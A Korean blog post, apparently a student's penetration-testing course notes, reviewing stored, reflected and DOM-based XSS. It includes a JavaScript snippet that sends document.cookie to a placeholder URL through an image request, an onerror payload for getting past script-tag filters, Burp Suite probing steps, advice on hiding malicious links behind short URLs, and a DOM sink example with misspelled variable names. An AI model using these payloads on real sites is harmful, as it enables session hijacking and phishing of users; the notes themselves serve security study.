복습
XSS란?
클라이언트 측 코드를 삽입하는 공격기법입니다. (이건 짧기도 하니 거의 무조건 외우는 것이 좋습니다.)
모의해킹 실전에서 할 때
인터넷이나 다른 곳에서 배운 것만 가지고 이건 통하니깐 안전하지 않다 / 이건 안 통하니깐 안전하다고 선 긋고 포기하지 말고, 반드시 공격자 시점에서 최대한 할 수 있는 해킹을 해서 자신이 생각하지도 못하는 취약점을 찾도록 해야 합니다.
세션 탈취 (하)
쿠키 값을 가져오려면 JavaScript를 통해서 가져올 수밖에 없기 때문에 HTML <img />태그를 통해서는 가져올 수 없습니다.
# 쿠키 받는 변수 생성
var cookie = document.cookie;
# 이미지 태그를 통해서 쿠키를 받을 것이니 이미지 변수 생성
var img = new Image();
# 세션 탈취 URL을 삽입해서 탈취할 것을 이미지 태그 변수에 넣습니다.
img.src = "URL?cookie=" + cookie;
스크립트 태그를 필터링하는 경우도 있습니다.
이러할 경우엔 HTML 태그를 사용해서 이벤트 핸들러를 활용해서 스크립트를 실행할 수 있습니다.
<img src=??? onerror="alert(1)">
Stored XSS (상)
저장형 XSS
공격자 시점 장단점
장점 : 광역 시전 가능합니다.
단점 : 광연 시전이기 때문에 특정 유저만 골라서 공격하기 어렵고, 기록 흔적이 남습니다.
Reflected XSS
링크를 전달하는 방식으로 공격하는 기법입니다.
우리가 문자를 받아서 링크를 들어갈 때 가장 조심해야 되는 이유가 Reflected XSS입니다. (피싱문자)
상대방의 세션을 탈취할 때 쓰는 공격 기법입니다.
사용자가 입력한 문자가 서버에 갔다가 다시 돌아오는 입력창에서 Reflected XSS를 사용할 수 있습니다.
주로 아이디 중복을 확인하는 곳에서 가능합니다.
모든 페이지, 모든 곳에서 사용할 수 있는 가능성이 있습니다.
URL로 파라미터를 가지고 요청하는 곳에서 그대로 응답이 온다면 Reflected XSS가 될 가능성이 있습니다.
Reflected XSS 찾을 때는 Burp Suite에서 Repeater에서 찾을 수 있습니다.
입력창에 <"'>을 넣어보면 알 수 있습니다.
그다음에 <script></script> 넣어서 스크립트 실행이 되는지 확인하며 하나씩 가능한지 확인하면 됩니다.
Reflected XSS는 GET방식으로 URL을 통해서 스크립트를 실행하는 공격입니다.
그래서 short URL을 주로 사용합니다.
short URL을 사용하면 URL이 간결해져서 의심이 사라지기도 하고, 공격하는 코드를 가릴 수 있습니다.
<Link> 태그를 사용해서 스크립트를 실행하기도 합니다.
GET 방식으로 요청을 하면 응답이 되는지 확인해야 되고, script 태그가 실행이 되는지 확인해야 됩니다.
피싱사이트의 경우 공격자의 서버를 이용해서 사용하지만 세션만 탈취한다면 Reflected XSS를 사용합니다.
DOM Based XSS
스크립트에서 domcument 객체를 활용한 공격 기법입니다.
Burp Suite에서 확인할 수 없으니 직접 입력창에 입력하고 개발자툴을 이용해서 확인할 수밖에 없습니다.
var myrul = document.URL;
if(myurl.indexOf("?search=")>0)
{
document.getElementById('srch').innerHTML = "You've searched for "+unescape(myrl.substr(myurl.indexOf("?search=")+8));
}
Tip : 만약 공격기법을 실행했는데 안 된다면 개발자툴을 확인합니다. 스크립트에서 공백이 +기호로 나오면 +기호 말고 %20으로 사용하면 됩니다.
마치며
분명 저번 6주 차까지는 할만하다고 생각했는데 오늘 배운 내용인 Reflected, DOM Based는 너무 어렵네요...
감이 안 잡혀서 그런 것 같은데 계속 시도해 봐야겠네요.
'개발자 (Developer) > 공부 (Learn)' 카테고리의 다른 글
10주차 - 파일 업로드의 개념과 대응 방안 (0) | 2023.06.01 |
---|---|
8주차 - XSS와 CRSF (0) | 2023.05.18 |
6주차 XSS (0) | 2023.05.11 |
5주차 Blind SQli, OOB Blind SQLi, SQLi 대응 방안 (0) | 2023.04.28 |
4주차 UNION SQLi 및 Error Based SQLi (0) | 2023.04.21 |
댓글